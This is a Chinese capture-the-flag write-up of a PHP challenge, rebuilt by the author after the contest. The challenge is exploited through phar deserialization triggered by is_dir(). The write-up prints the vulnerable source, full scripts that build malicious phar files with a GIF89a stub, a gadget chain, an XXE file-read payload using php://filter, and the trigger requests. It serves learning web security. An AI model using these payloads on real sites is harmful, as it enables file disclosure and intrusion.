以下均是赛后自搭环境复现情况:
题目默认是地址是 xxxx:8003
有注册功能点和登陆功能点,但在一波信息收集后并无果,并且URL参数的id=1也是幌子
在师兄的扫描端口下,发现了8000端口,访问后直接给了源码:
<?php class TheUse{ private $obj; private $con1; private $con2; function __construct($obj,$con1,$con2){ $this->obj = $obj; $this->con1 = $con1; $this->con2 = $con2; } function __destruct(){ $new = $this->obj; $new($this->con1,$this->con2); } } class MyClass{ private $dir; function __construct($dir){ $this->dir = $dir; } function __toString(){ echo "String conversion...\n"; } function __invoke($param1,$param2){ $this->$param1($param2); } public function getdir($path){ print_r(glob($path)); } public function load($con){ simplexml_load_string($con,null,LIBXML_NOENT); } } if(isset($_REQUEST['f'])){ $filename=$_REQUEST['f']; is_dir($filename); }else{ highlight_file(__FILE__); }
看到class的魔术方法
第一时间想到反序列化
但是没有类似于unserialize()
的反序列化函数
注意到函数is_dir()
,is_dir()
函数可以触发phar
协议,phar协议可以触发反序列化
但是phar需要有文件上传的点:于是找到了/upload.php
这个功能点
因此思路就有了:
通过链子构造phar文件,上传phar文件后用phar协议读取
反序列化的链子很简单:
TheUse$__destruct() -->MyClass$__invoke-->MyClass$getdir() //读取文件名称 TheUse$__destruct() -->MyClass$__invoke-->MyClass$load() //读取文件内容
构造反序列化链子:
<?php class TheUse{ private $obj; private $con1; private $con2; function __construct($obj,$con1,$con2){ $this->obj = $obj; $this->con1 = $con1; $this->con2 = $con2; } function __destruct(){ $new = $this->obj; $new($this->con1,$this->con2); } } class MyClass{ private $dir; function __construct($dir){ $this->dir = $dir; } function __toString(){ echo "String conversion...\n"; } function __invoke($param1,$param2){ $this->$param1($param2); } public function getdir($path){ print_r(glob($path)); } public function load($con){ simplexml_load_string($con,null,LIBXML_NOENT); } } $xml=<<<EOF <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]> <x>&file;</x> EOF; $payload = new TheUse(new MyClass('./'), 'load', $xml);
构造函数的时候$xml
变量要用
$xml=<<<EOF <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">]> <x>&file;</x> EOF;
这种形式定义,不能直接放到构造函数里,我就是因为这一步频繁报错未解出来
在xml中读取文件时要用绝对路径读取协议(这里用了php伪协议读取文件)
不用绝对路径的报错图:
解决方法(使用绝对路径):
payload生成读取文件名的phar文件:
<?php class TheUse{ private $obj; private $con1; private $con2; function __construct($obj,$con1,$con2){ $this->obj = $obj; $this->con1 = $con1; $this->con2 = $con2; } function __destruct(){ $new = $this->obj; $new($this->con1,$this->con2); } } class MyClass{ private $dir; function __construct($dir){ $this->dir = $dir; } function __toString(){ echo "String conversion...\n"; } function __invoke($param1,$param2){ $this->$param1($param2); } private function getdir($path){ print_r(glob($path)); } private function load($con){ simplexml_load_string($con,null,LIBXML_NOENT); } } $payload = new TheUse(new MyClass('/var/www/html'), 'getdir', '/var/www/html/*'); $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->setMetadata($payload); $phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt $phar->stopBuffering();
运行后上传phar文件
然后使用phar协议读取:
?f=phar:///var/www/html/phar.phar
可以看到flag的名称是Maybe_flag_is_here.php
接下来读取flag:
<?php class TheUse{ private $obj; private $con1; private $con2; function __construct($obj,$con1,$con2){ $this->obj = $obj; $this->con1 = $con1; $this->con2 = $con2; } function __destruct(){ $new = $this->obj; $new($this->con1,$this->con2); } } class MyClass{ private $dir; function __construct($dir){ $this->dir = $dir; } function __toString(){ echo "String conversion...\n"; } function __invoke($param1,$param2){ $this->$param1($param2); } private function getdir($path){ print_r(glob($path)); } private function load($con){ simplexml_load_string($con,null,LIBXML_NOENT); } } $xml=<<<EOF <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE ANY[ <!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/Maybe_flag_is_here.php">]> <x>&file;</x> EOF; $payload = new TheUse(new MyClass('/var/www/html'), 'load', $xml); $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->setMetadata($payload); $phar->addFromString('1.txt','test'); // phar:[phar.phar][system_get_you_filename]/1.txt $phar->stopBuffering();
依旧是把生成的phar文件上传,使用phar协议反序列化:
?f=phar:///var/www/html/phar.phar
解码得到flag:
flag:flag{this-is-flag-for-you}
以前从未接触过XML读文件的函数,于是在解题时直接放入构造函数中,而不是先利用
的形式构造,然后再传入构造函数